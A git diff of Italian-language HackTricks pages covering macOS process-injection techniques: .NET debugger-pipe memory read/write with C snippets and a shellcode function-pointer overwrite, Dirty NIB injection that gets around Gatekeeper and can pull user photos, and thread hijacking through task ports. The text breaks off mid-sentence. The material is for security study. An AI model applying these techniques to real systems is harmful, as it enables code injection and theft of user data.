diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md index bf82db8b4..9f7fe514d 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md @@ -1,30 +1,31 @@ -# Iniezione di applicazioni .Net su macOS +# macOS .Net Applications Injection + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Altri modi per supportare HackTricks: - -* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -**Questo è un riassunto del post [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/). Consultalo per ulteriori dettagli!** +**Questo è un riassunto del post [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/). Controllalo per ulteriori dettagli!** -## Debugging di .NET Core +## .NET Core Debugging -### **Avvio di una sessione di debug** +### **Stabilire una sessione di debug** -La gestione della comunicazione tra il debugger e il debuggee in .NET è gestita da [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Questo componente configura due named pipe per ogni processo .NET, come si può vedere in [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), che vengono iniziate tramite [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Queste pipe sono suffisse con **`-in`** e **`-out`**. +La gestione della comunicazione tra debugger e debuggee in .NET è gestita da [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Questo componente imposta due pipe nominate per ogni processo .NET come visto in [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), che vengono iniziate tramite [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Queste pipe sono suffisse con **`-in`** e **`-out`**. -Visitando la directory **`$TMPDIR`** dell'utente, è possibile trovare FIFO di debug disponibili per le applicazioni .Net. +Visitando il **`$TMPDIR`** dell'utente, si possono trovare FIFO di debug disponibili per il debug delle applicazioni .Net. -[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) è responsabile della gestione della comunicazione da parte di un debugger. Per avviare una nuova sessione di debug, un debugger deve inviare un messaggio tramite la pipe `out` che inizia con una struttura `MessageHeader`, dettagliata nel codice sorgente di .NET: +[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) è responsabile della gestione della comunicazione da un debugger. Per avviare una nuova sessione di debug, un debugger deve inviare un messaggio tramite la pipe `out` che inizia con una struct `MessageHeader`, dettagliata nel codice sorgente di .NET: ```c struct MessageHeader { MessageType m_eType; // Message type @@ -43,7 +44,7 @@ DWORD m_dwMinorVersion; BYTE m_sMustBeZero[8]; } ``` -Per richiedere una nuova sessione, questa struttura viene popolata nel seguente modo, impostando il tipo di messaggio su `MT_SessionRequest` e la versione del protocollo alla versione corrente: +Per richiedere una nuova sessione, questa struct viene popolata come segue, impostando il tipo di messaggio su `MT_SessionRequest` e la versione del protocollo sulla versione attuale: ```c static const DWORD kCurrentMajorVersion = 2; static const DWORD kCurrentMinorVersion = 0; @@ -54,17 +55,17 @@ sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion; sSendHeader.m_cbDataBlock = sizeof(SessionRequestData); ``` -Quest'intestazione viene quindi inviata al target utilizzando la chiamata di sistema `write`, seguita dalla struttura `sessionRequestData` che contiene un GUID per la sessione: +Questo header viene quindi inviato al target utilizzando la syscall `write`, seguito dalla struct `sessionRequestData` contenente un GUID per la sessione: ```c write(wr, &sSendHeader, sizeof(MessageHeader)); memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData)); write(wr, &sDataBlock, sizeof(SessionRequestData)); ``` -Un'operazione di lettura sul tubo `out` conferma il successo o il fallimento dell'instaurazione della sessione di debug: +Un'operazione di lettura sul pipe `out` conferma il successo o il fallimento dell'instaurazione della sessione di debug: ```c read(rd, &sReceiveHeader, sizeof(MessageHeader)); ``` -## Lettura della memoria +## Lettura della Memoria Una volta stabilita una sessione di debug, la memoria può essere letta utilizzando il tipo di messaggio [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896). La funzione readMemory è dettagliata, eseguendo i passaggi necessari per inviare una richiesta di lettura e recuperare la risposta: ```c bool readMemory(void *addr, int len, unsigned char **output) { @@ -77,11 +78,11 @@ bool readMemory(void *addr, int len, unsigned char **output) { return true; } ``` -La prova di concetto (POC) completa è disponibile [qui](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b). +La prova di concetto completa (POC) è disponibile [qui](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b). -## Scrittura in memoria +## Scrittura della Memoria -Allo stesso modo, la memoria può essere scritta utilizzando la funzione `writeMemory`. Il processo prevede di impostare il tipo di messaggio su `MT_WriteMemory`, specificare l'indirizzo e la lunghezza dei dati, e quindi inviare i dati: +Allo stesso modo, la memoria può essere scritta utilizzando la funzione `writeMemory`. Il processo prevede di impostare il tipo di messaggio su `MT_WriteMemory`, specificare l'indirizzo e la lunghezza dei dati, e poi inviare i dati: ```c bool writeMemory(void *addr, int len, unsigned char *input) { // Increment IDs, set message type, and specify memory location @@ -95,18 +96,18 @@ return true; ``` Il POC associato è disponibile [qui](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5). -## Esecuzione del codice .NET Core +## Esecuzione di Codice .NET Core -Per eseguire il codice, è necessario identificare una regione di memoria con le autorizzazioni rwx, che può essere fatto utilizzando vmmap -pages: +Per eseguire codice, è necessario identificare una regione di memoria con permessi rwx, il che può essere fatto usando vmmap -pages: ```bash vmmap -pages [pid] vmmap -pages 35829 | grep "rwx/rwx" ``` -È necessario individuare un punto in cui sovrascrivere un puntatore a una funzione e, in .NET Core, ciò può essere fatto mirando alla **Dynamic Function Table (DFT)**. Questa tabella, descritta in [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h), viene utilizzata dal runtime per le funzioni helper di compilazione JIT. +Trovare un luogo per sovrascrivere un puntatore di funzione è necessario, e in .NET Core, questo può essere fatto mirato alla **Dynamic Function Table (DFT)**. Questa tabella, dettagliata in [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h), è utilizzata dal runtime per le funzioni di aiuto della compilazione JIT. -Per i sistemi x64, è possibile utilizzare la ricerca della firma per trovare un riferimento al simbolo `_hlpDynamicFuncTable` in `libcorclr.dll`. +Per i sistemi x64, la ricerca delle firme può essere utilizzata per trovare un riferimento al simbolo `_hlpDynamicFuncTable` in `libcorclr.dll`. -La funzione di debug `MT_GetDCB` fornisce informazioni utili, tra cui l'indirizzo di una funzione helper, `m_helperRemoteStartAddr`, che indica la posizione di `libcorclr.dll` nella memoria del processo. Questo indirizzo viene quindi utilizzato per avviare una ricerca della DFT e sovrascrivere un puntatore a una funzione con l'indirizzo del codice shell. +La funzione di debug `MT_GetDCB` fornisce informazioni utili, incluso l'indirizzo di una funzione di aiuto, `m_helperRemoteStartAddr`, che indica la posizione di `libcorclr.dll` nella memoria del processo. Questo indirizzo viene quindi utilizzato per avviare una ricerca per la DFT e sovrascrivere un puntatore di funzione con l'indirizzo del shellcode. Il codice POC completo per l'iniezione in PowerShell è accessibile [qui](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6). @@ -114,16 +115,17 @@ Il codice POC completo per l'iniezione in PowerShell è accessibile [qui](https: * [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/) +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Altri modi per supportare HackTricks: - -* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md index 91a17d3aa..00d703cd6 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md @@ -1,86 +1,88 @@ # macOS Dirty NIB +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Altri modi per supportare HackTricks: - -* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai repository GitHub di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -**Per ulteriori dettagli sulla tecnica, consulta il post originale su: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** Ecco un riassunto: +**Per ulteriori dettagli sulla tecnica, controlla il post originale da: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** Ecco un riassunto: -I file NIB, parte dell'ecosistema di sviluppo di Apple, sono destinati a definire **elementi dell'interfaccia utente** e le loro interazioni nelle applicazioni. Comprendono oggetti serializzati come finestre e pulsanti e vengono caricati durante l'esecuzione. Nonostante il loro utilizzo continuo, Apple ora consiglia l'uso di Storyboard per una visualizzazione più completa del flusso dell'interfaccia utente. +I file NIB, parte dell'ecosistema di sviluppo di Apple, sono destinati a definire **elementi UI** e le loro interazioni nelle applicazioni. Comprendono oggetti serializzati come finestre e pulsanti, e vengono caricati durante l'esecuzione. Nonostante il loro utilizzo continuo, Apple ora promuove gli Storyboard per una visualizzazione più completa del flusso UI. -### Preoccupazioni per la sicurezza con i file NIB -È importante notare che i file NIB possono rappresentare un rischio per la sicurezza. Hanno il potenziale per **eseguire comandi arbitrari** e le modifiche ai file NIB all'interno di un'app non impediscono a Gatekeeper di eseguire l'app, rappresentando una minaccia significativa. +### Preoccupazioni di Sicurezza con i File NIB +È fondamentale notare che **i file NIB possono rappresentare un rischio per la sicurezza**. Hanno il potenziale di **eseguire comandi arbitrari**, e le modifiche ai file NIB all'interno di un'app non impediscono a Gatekeeper di eseguire l'app, rappresentando una minaccia significativa. -### Processo di iniezione di Dirty NIB -#### Creazione e configurazione di un file NIB -1. **Configurazione iniziale**: +### Processo di Iniezione di Dirty NIB +#### Creazione e Configurazione di un File NIB +1. **Impostazione Iniziale**: - Crea un nuovo file NIB utilizzando XCode. -- Aggiungi un oggetto all'interfaccia, impostando la sua classe su `NSAppleScript`. -- Configura la proprietà `source` iniziale tramite gli attributi di runtime definiti dall'utente. +- Aggiungi un Oggetto all'interfaccia, impostando la sua classe su `NSAppleScript`. +- Configura la proprietà `source` iniziale tramite Attributi di Runtime Definiti dall'Utente. -2. **Gadget di esecuzione del codice**: +2. **Gadget di Esecuzione del Codice**: - La configurazione facilita l'esecuzione di AppleScript su richiesta. -- Integra un pulsante per attivare l'oggetto `Apple Script`, che attiva specificamente il selettore `executeAndReturnError:`. +- Integra un pulsante per attivare l'oggetto `Apple Script`, attivando specificamente il selettore `executeAndReturnError:`. 3. **Test**: -- Uno script Apple semplice per scopi di test: +- Un semplice Apple Script per scopi di test: ```bash set theDialogText to "PWND" display dialog theDialogText ``` -- Prova eseguendo il debug in XCode e facendo clic sul pulsante. +- Testa eseguendo nel debugger di XCode e cliccando il pulsante. -#### Individuazione di un'applicazione di destinazione (Esempio: Pages) +#### Targeting di un'Applicazione (Esempio: Pages) 1. **Preparazione**: -- Copia l'applicazione di destinazione (ad esempio, Pages) in una directory separata (ad esempio, `/tmp/`). -- Avvia l'applicazione per evitare problemi con Gatekeeper e memorizzala nella cache. +- Copia l'app target (ad es., Pages) in una directory separata (ad es., `/tmp/`). +- Avvia l'app per evitare problemi con Gatekeeper e memorizzarla nella cache. -2. **Sovrascrittura del file NIB**: -- Sostituisci un file NIB esistente (ad esempio, About Panel NIB) con il file DirtyNIB creato. +2. **Sovrascrittura del File NIB**: +- Sostituisci un file NIB esistente (ad es., About Panel NIB) con il file DirtyNIB creato. 3. **Esecuzione**: -- Avvia l'esecuzione interagendo con l'applicazione (ad esempio, selezionando la voce di menu `About`). +- Attiva l'esecuzione interagendo con l'app (ad es., selezionando l'elemento di menu `About`). -#### Proof of Concept: Accesso ai dati dell'utente -- Modifica lo script Apple per accedere ed estrarre i dati dell'utente, come le foto, senza il consenso dell'utente. +#### Prova di Concetto: Accesso ai Dati Utente +- Modifica l'AppleScript per accedere ed estrarre dati utente, come foto, senza il consenso dell'utente. -### Esempio di codice: File .xib maligno -- Accedi e esamina un [**esempio di un file .xib maligno**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) che dimostra l'esecuzione di codice arbitrario. +### Esempio di Codice: File .xib Maligno +- Accedi e rivedi un [**campione di un file .xib maligno**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) che dimostra l'esecuzione di codice arbitrario. -### Affrontare i vincoli di avvio -- I vincoli di avvio impediscono l'esecuzione dell'applicazione da posizioni impreviste (ad esempio, `/tmp`). -- È possibile identificare le app non protette dai vincoli di avvio e prendere di mira l'iniezione di file NIB su di esse. +### Affrontare i Vincoli di Avvio +- I Vincoli di Avvio ostacolano l'esecuzione dell'app da posizioni inaspettate (ad es., `/tmp`). +- È possibile identificare app non protette dai Vincoli di Avvio e mirare a esse per l'iniezione del file NIB. -### Ulteriori protezioni macOS -A partire da macOS Sonoma, le modifiche all'interno dei pacchetti delle app sono limitate. Tuttavia, i metodi precedenti prevedevano: -1. Copiare l'applicazione in una posizione diversa (ad esempio, `/tmp/`). -2. Rinominare le directory all'interno del pacchetto dell'app per aggirare le protezioni iniziali. -3. Dopo aver eseguito l'applicazione per registrarsi con Gatekeeper, modificare il pacchetto dell'app (ad esempio, sostituendo MainMenu.nib con Dirty.nib). -4. Rinominare nuovamente le directory e rieseguire l'applicazione per eseguire il file NIB iniettato. +### Ulteriori Protezioni di macOS +A partire da macOS Sonoma, le modifiche all'interno dei bundle delle app sono limitate. Tuttavia, i metodi precedenti prevedevano: +1. Copiare l'app in un'altra posizione (ad es., `/tmp/`). +2. Rinominare le directory all'interno del bundle dell'app per bypassare le protezioni iniziali. +3. Dopo aver eseguito l'app per registrarsi con Gatekeeper, modificare il bundle dell'app (ad es., sostituendo MainMenu.nib con Dirty.nib). +4. Rinominare di nuovo le directory e rieseguire l'app per eseguire il file NIB iniettato. -**Nota**: Gli aggiornamenti recenti di macOS hanno mitigato questa vulnerabilità impedendo le modifiche ai file all'interno dei pacchetti delle app dopo la memorizzazione nella cache di Gatekeeper, rendendo la vulnerabilità inefficace. +**Nota**: Gli aggiornamenti recenti di macOS hanno mitigato questo exploit impedendo le modifiche ai file all'interno dei bundle delle app dopo la memorizzazione nella cache di Gatekeeper, rendendo l'exploit inefficace. +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Altri modi per supportare HackTricks: - -* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai repository GitHub di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md index 03e06661f..2ffe78d41 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md @@ -1,56 +1,57 @@ -# Iniezione di thread su macOS tramite porta di attività +# macOS Thread Injection via Task port + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Altri modi per supportare HackTricks: - -* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## Codice +## Code * [https://github.com/bazad/threadexec](https://github.com/bazad/threadexec) * [https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36](https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36) -## 1. Hijacking del thread +## 1. Thread Hijacking -Inizialmente, la funzione **`task_threads()`** viene invocata sulla porta del task per ottenere un elenco di thread dal task remoto. Viene selezionato un thread da dirottare. Questo approccio si discosta dai metodi di iniezione di codice convenzionali in quanto la creazione di un nuovo thread remoto è vietata a causa della nuova mitigazione che blocca `thread_create_running()`. +Inizialmente, la funzione **`task_threads()`** viene invocata sulla porta del task per ottenere un elenco di thread dal task remoto. Un thread viene selezionato per l'hijacking. Questo approccio si discosta dai metodi convenzionali di iniezione di codice poiché la creazione di un nuovo thread remoto è vietata a causa della nuova mitigazione che blocca `thread_create_running()`. -Per controllare il thread, viene chiamata la funzione **`thread_suspend()`**, interrompendo la sua esecuzione. +Per controllare il thread, viene chiamato **`thread_suspend()`**, interrompendo la sua esecuzione. -Le uniche operazioni consentite sul thread remoto riguardano l'**arresto** e l'**avvio** dello stesso, il **recupero** e la **modifica** dei suoi valori di registro. Le chiamate di funzione remote vengono avviate impostando i registri `x0` a `x7` agli **argomenti**, configurando **`pc`** per puntare alla funzione desiderata e attivando il thread. Per garantire che il thread non si blocchi dopo il ritorno, è necessario rilevare il ritorno. +Le uniche operazioni consentite sul thread remoto riguardano **l'arresto** e **l'avvio** di esso, **il recupero** e **la modifica** dei suoi valori di registro. Le chiamate a funzioni remote vengono avviate impostando i registri `x0` a `x7` sugli **argomenti**, configurando **`pc`** per mirare alla funzione desiderata e attivando il thread. Assicurarsi che il thread non si arresti dopo il ritorno richiede la rilevazione del ritorno. -Una strategia prevede la **registrazione di un gestore di eccezioni** per il thread remoto utilizzando `thread_set_exception_ports()`, impostando il registro `lr` su un indirizzo non valido prima della chiamata alla funzione. Ciò provoca un'eccezione dopo l'esecuzione della funzione, inviando un messaggio alla porta delle eccezioni, consentendo l'ispezione dello stato del thread per recuperare il valore di ritorno. In alternativa, come adottato dall'exploit triple\_fetch di Ian Beer, `lr` viene impostato per eseguire un loop all'infinito. I registri del thread vengono quindi monitorati continuamente fino a quando **`pc` punta a quell'istruzione**. +Una strategia prevede **la registrazione di un gestore di eccezioni** per il thread remoto utilizzando `thread_set_exception_ports()`, impostando il registro `lr` su un indirizzo non valido prima della chiamata alla funzione. Questo attiva un'eccezione dopo l'esecuzione della funzione, inviando un messaggio alla porta di eccezione, consentendo l'ispezione dello stato del thread per recuperare il valore di ritorno. In alternativa, come adottato dall'exploit triple\_fetch di Ian Beer, `lr` viene impostato per eseguire un ciclo infinito. I registri del thread vengono quindi monitorati continuamente fino a quando **`pc` punta a quell'istruzione**. -## 2. Porte Mach per la comunicazione +## 2. Mach ports for communication -La fase successiva prevede l'instaurazione di porte Mach per facilitare la comunicazione con il thread remoto. Queste porte sono fondamentali per il trasferimento di diritti di invio e ricezione arbitrari tra i task. +La fase successiva prevede l'istituzione di porte Mach per facilitare la comunicazione con il thread remoto. Queste porte sono strumentali nel trasferire diritti di invio e ricezione arbitrari tra i task. -Per la comunicazione bidirezionale, vengono create due porte Mach di ricezione: una nel task locale e l'altra nel task remoto. Successivamente, viene trasferito un diritto di invio per ogni porta al task corrispondente, consentendo lo scambio di messaggi. +Per la comunicazione bidirezionale, vengono creati due diritti di ricezione Mach: uno nel task locale e l'altro nel task remoto. Successivamente, un diritto di invio per ciascuna porta viene trasferito al task corrispondente, consentendo lo scambio di messaggi. Concentrandosi sulla porta locale, il diritto di ricezione è detenuto dal task locale. La porta viene creata con `mach_port_allocate()`. La sfida consiste nel trasferire un diritto di invio a questa porta nel task remoto. -Una strategia prevede di sfruttare `thread_set_special_port()` per inserire un diritto di invio alla porta locale nella `THREAD_KERNEL_PORT` del thread remoto. Quindi, viene istruito il thread remoto a chiamare `mach_thread_self()` per recuperare il diritto di invio. +Una strategia prevede di sfruttare `thread_set_special_port()` per posizionare un diritto di invio alla porta locale nel `THREAD_KERNEL_PORT` del thread remoto. Quindi, al thread remoto viene istruito di chiamare `mach_thread_self()` per recuperare il diritto di invio. -Per la porta remota, il processo è essenzialmente invertito. Al thread remoto viene indicato di generare una porta Mach tramite `mach_reply_port()` (poiché `mach_port_allocate()` non è adatto a causa del suo meccanismo di restituzione). Dopo la creazione della porta, viene invocato `mach_port_insert_right()` nel thread remoto per stabilire un diritto di invio. Questo diritto viene quindi nascosto nel kernel utilizzando `thread_set_special_port()`. Nel task locale, viene utilizzato `thread_get_special_port()` sul thread remoto per acquisire un diritto di invio alla nuova porta Mach allocata nel task remoto. +Per la porta remota, il processo è essenzialmente invertito. Al thread remoto viene diretto di generare una porta Mach tramite `mach_reply_port()` (poiché `mach_port_allocate()` non è adatto a causa del suo meccanismo di ritorno). Una volta creata la porta, `mach_port_insert_right()` viene invocato nel thread remoto per stabilire un diritto di invio. Questo diritto viene quindi conservato nel kernel utilizzando `thread_set_special_port()`. Tornando al task locale, `thread_get_special_port()` viene utilizzato sul thread 